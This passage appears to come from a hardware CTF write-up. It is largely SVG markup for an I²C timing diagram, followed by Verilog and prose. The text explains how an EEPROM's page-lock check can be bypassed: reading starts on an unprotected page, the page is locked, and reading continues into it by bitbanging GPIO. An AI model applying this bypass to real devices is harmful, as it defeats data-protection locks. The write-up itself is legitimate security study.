&lt;path d=&quot;m 960,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 1000,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;path d=&quot;m 1040,0 0,60&quot; style=&quot;stroke:#888;stroke-width:0.5;stroke-dasharray:1,3&quot; /&gt;
&lt;text x=&quot;20&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan /&gt;
&lt;/text&gt;
&lt;text x=&quot;60&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan&gt;Start&lt;/tspan&gt;
&lt;/text&gt;
&lt;text x=&quot;100&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan&gt;Addr&lt;/tspan&gt;
&lt;/text&gt;
&lt;text x=&quot;140&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan /&gt;
&lt;/text&gt;
&lt;text x=&quot;180&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan&gt;Wr&lt;/tspan&gt;
&lt;/text&gt;
&lt;text x=&quot;220&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan /&gt;
&lt;/text&gt;
&lt;text x=&quot;260&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan&gt;ACK&lt;/tspan&gt;
&lt;/text&gt;
&lt;text x=&quot;300&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan /&gt;
&lt;/text&gt;
&lt;text x=&quot;340&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan&gt;Data&lt;/tspan&gt;
&lt;/text&gt;
&lt;text x=&quot;380&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan /&gt;
&lt;/text&gt;
&lt;text x=&quot;420&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan&gt;ACK&lt;/tspan&gt;
&lt;/text&gt;
&lt;text x=&quot;460&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan /&gt;
&lt;/text&gt;
&lt;text x=&quot;500&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan&gt;Start&lt;/tspan&gt;
&lt;/text&gt;
&lt;text x=&quot;540&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan /&gt;
&lt;/text&gt;
&lt;text x=&quot;580&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan&gt;Addr&lt;/tspan&gt;
&lt;/text&gt;
&lt;text x=&quot;620&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan /&gt;
&lt;/text&gt;
&lt;text x=&quot;660&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan&gt;Rd&lt;/tspan&gt;
&lt;/text&gt;
&lt;text x=&quot;700&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan /&gt;
&lt;/text&gt;
&lt;text x=&quot;740&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan&gt;ACK&lt;/tspan&gt;
&lt;/text&gt;
&lt;text x=&quot;780&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan /&gt;
&lt;/text&gt;
&lt;text x=&quot;820&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan&gt;Data&lt;/tspan&gt;
&lt;/text&gt;
&lt;text x=&quot;860&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan /&gt;
&lt;/text&gt;
&lt;text x=&quot;900&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan&gt;ACK&lt;/tspan&gt;
&lt;/text&gt;
&lt;text x=&quot;940&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan /&gt;
&lt;/text&gt;
&lt;text x=&quot;980&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan&gt;Stop&lt;/tspan&gt;
&lt;/text&gt;
&lt;text x=&quot;1020&quot; y=&quot;75&quot; class=&quot;muted&quot; text-anchor=&quot;middle&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan /&gt;
&lt;/text&gt;
&lt;/g&gt;
&lt;g transform=&quot;translate(0,5)&quot;&gt;
&lt;text x=&quot;-10&quot; y=&quot;15&quot; class=&quot;info&quot; text-anchor=&quot;end&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan&gt;SCL&lt;/tspan&gt;
&lt;/text&gt;
&lt;g transform=&quot;translate(0, 0)&quot;&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(0)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(20)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgb&quot; transform=&quot;translate(40)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(60)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgd&quot; transform=&quot;translate(80)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(100)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgb&quot; transform=&quot;translate(120)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(140)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgd&quot; transform=&quot;translate(160)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(180)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgb&quot; transform=&quot;translate(200)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(220)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgd&quot; transform=&quot;translate(240)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(260)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgb&quot; transform=&quot;translate(280)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(300)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgd&quot; transform=&quot;translate(320)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(340)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgb&quot; transform=&quot;translate(360)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(380)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgd&quot; transform=&quot;translate(400)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(420)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgb&quot; transform=&quot;translate(440)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(460)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgd&quot; transform=&quot;translate(480)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(500)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgb&quot; transform=&quot;translate(520)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(540)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgd&quot; transform=&quot;translate(560)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(580)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgb&quot; transform=&quot;translate(600)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(620)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgd&quot; transform=&quot;translate(640)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(660)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgb&quot; transform=&quot;translate(680)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(700)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgd&quot; transform=&quot;translate(720)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(740)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgb&quot; transform=&quot;translate(760)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(780)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgd&quot; transform=&quot;translate(800)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(820)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgb&quot; transform=&quot;translate(840)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(860)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgd&quot; transform=&quot;translate(880)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(900)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgb&quot; transform=&quot;translate(920)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(940)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgd&quot; transform=&quot;translate(960)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(980)&quot; /&gt;
&lt;/g&gt;
&lt;/g&gt;
&lt;g transform=&quot;translate(0,35)&quot;&gt;
&lt;text x=&quot;-10&quot; y=&quot;15&quot; class=&quot;info&quot; text-anchor=&quot;end&quot; xml:space=&quot;preserve&quot;&gt;
&lt;tspan&gt;SDA&lt;/tspan&gt;
&lt;/text&gt;
&lt;g transform=&quot;translate(0, 0)&quot;&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(0)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgb&quot; transform=&quot;translate(20)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(40)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svge&quot; transform=&quot;translate(60)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgf&quot; transform=&quot;translate(80)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgf&quot; transform=&quot;translate(100)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgf&quot; transform=&quot;translate(120)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgg&quot; transform=&quot;translate(140)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(160)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(180)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(200)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(220)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(240)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(260)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(280)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svge&quot; transform=&quot;translate(300)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgf&quot; transform=&quot;translate(320)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgf&quot; transform=&quot;translate(340)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgf&quot; transform=&quot;translate(360)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgg&quot; transform=&quot;translate(380)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(400)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(420)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(440)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgd&quot; transform=&quot;translate(460)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(480)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgb&quot; transform=&quot;translate(500)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(520)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svge&quot; transform=&quot;translate(540)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgf&quot; transform=&quot;translate(560)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgf&quot; transform=&quot;translate(580)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgf&quot; transform=&quot;translate(600)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgh&quot; transform=&quot;translate(620)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(640)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(660)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(680)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgb&quot; transform=&quot;translate(700)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(720)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(740)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(760)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svge&quot; transform=&quot;translate(780)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgf&quot; transform=&quot;translate(800)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgf&quot; transform=&quot;translate(820)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgf&quot; transform=&quot;translate(840)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgg&quot; transform=&quot;translate(860)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(880)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(900)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(920)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(940)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgc&quot; transform=&quot;translate(960)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgd&quot; transform=&quot;translate(980)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svga&quot; transform=&quot;translate(1000)&quot; /&gt;
&lt;/g&gt;
&lt;/g&gt;
&lt;g /&gt;
&lt;g&gt;
&lt;g transform=&quot;translate(0,5)&quot;&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgi&quot; transform=&quot;translate(110)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgi&quot; transform=&quot;translate(350)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgi&quot; transform=&quot;translate(590)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgi&quot; transform=&quot;translate(830)&quot; /&gt;
&lt;/g&gt;
&lt;g transform=&quot;translate(0,35)&quot;&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgi&quot; transform=&quot;translate(120)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgi&quot; transform=&quot;translate(360)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgi&quot; transform=&quot;translate(600)&quot; /&gt;
&lt;use xlink:href=&quot;#jekyll-wavedrom20210109-996132-6snqtp.svgi&quot; transform=&quot;translate(840)&quot; /&gt;
&lt;/g&gt;
&lt;/g&gt;
&lt;/g&gt;
&lt;g&gt;g&lt;/g&gt;
&lt;/g&gt;
&lt;/svg&gt;
&lt;/figure&gt;

&lt;p&gt;Greater problem however is that the internal address pointer gets reset on a
stop condition.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-verilog&quot; data-lang=&quot;verilog&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i2c_stop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;begin&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;i2c_address_valid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;i2c_state&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;I2C_IDLE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i2c_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;begin&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;i2c_state&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;I2C_START&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The microcontroller has an I²C peripheral to communicate. However, the maximum
transaction length is only 8 bytes, which is not enough to attempt much against the
EEPROM (as the address pointer gets reset). There is a GPIO peripheral
connected to the same pins, which means we can bitbang the protocol to perform
longer exchanges.&lt;/p&gt;

&lt;p&gt;The plan is ultimately as follows:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;We initiate a read transaction at the end of the first page. As this page is
not protected, this sucessfully initializes the internal address register.&lt;/li&gt;
  &lt;li&gt;Now we issue a lock command, locking the first page.&lt;/li&gt;
  &lt;li&gt;As the read state machine only ever checks if the next address lock status
is equal to the current address lock status, we can now continue reading onwards
into the locked page.&lt;/li&gt;
&lt;/ul&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-verilog&quot; data-lang=&quot;verilog&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;I2C_READ:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;begin&lt;/span&gt;
  &lt;span class=&quot;no&quot;&gt;`DEBUG_DISPLAY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;i2c_data_bits = %d&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i2c_data_bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i2c_data_bits&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i2c_scl_state&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;I2C_SCL_RISING&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;begin&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;i2c_data_bits&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i2c_address_secure&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i2c_next_address_secure&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;begin&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// &amp;lt;-- HERE&lt;/span&gt;
      &lt;span class=&quot;no&quot;&gt;`DEBUG_DISPLAY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;READ: i2c_address = 0x%x&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i2c_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;i2c_address&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i2c_address&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;i2c_state&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;I2C_ACK_THEN_READ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;begin&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;i2c_state&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;I2C_NACK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i2c_scl_state&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;I2C_SCL_FALLING&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;begin&lt;/span&gt;
    &lt;span class=&quot;no&quot;&gt;`DEBUG_DISPLAY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;READ (bit): i2c_address = 0x%x&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i2c_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
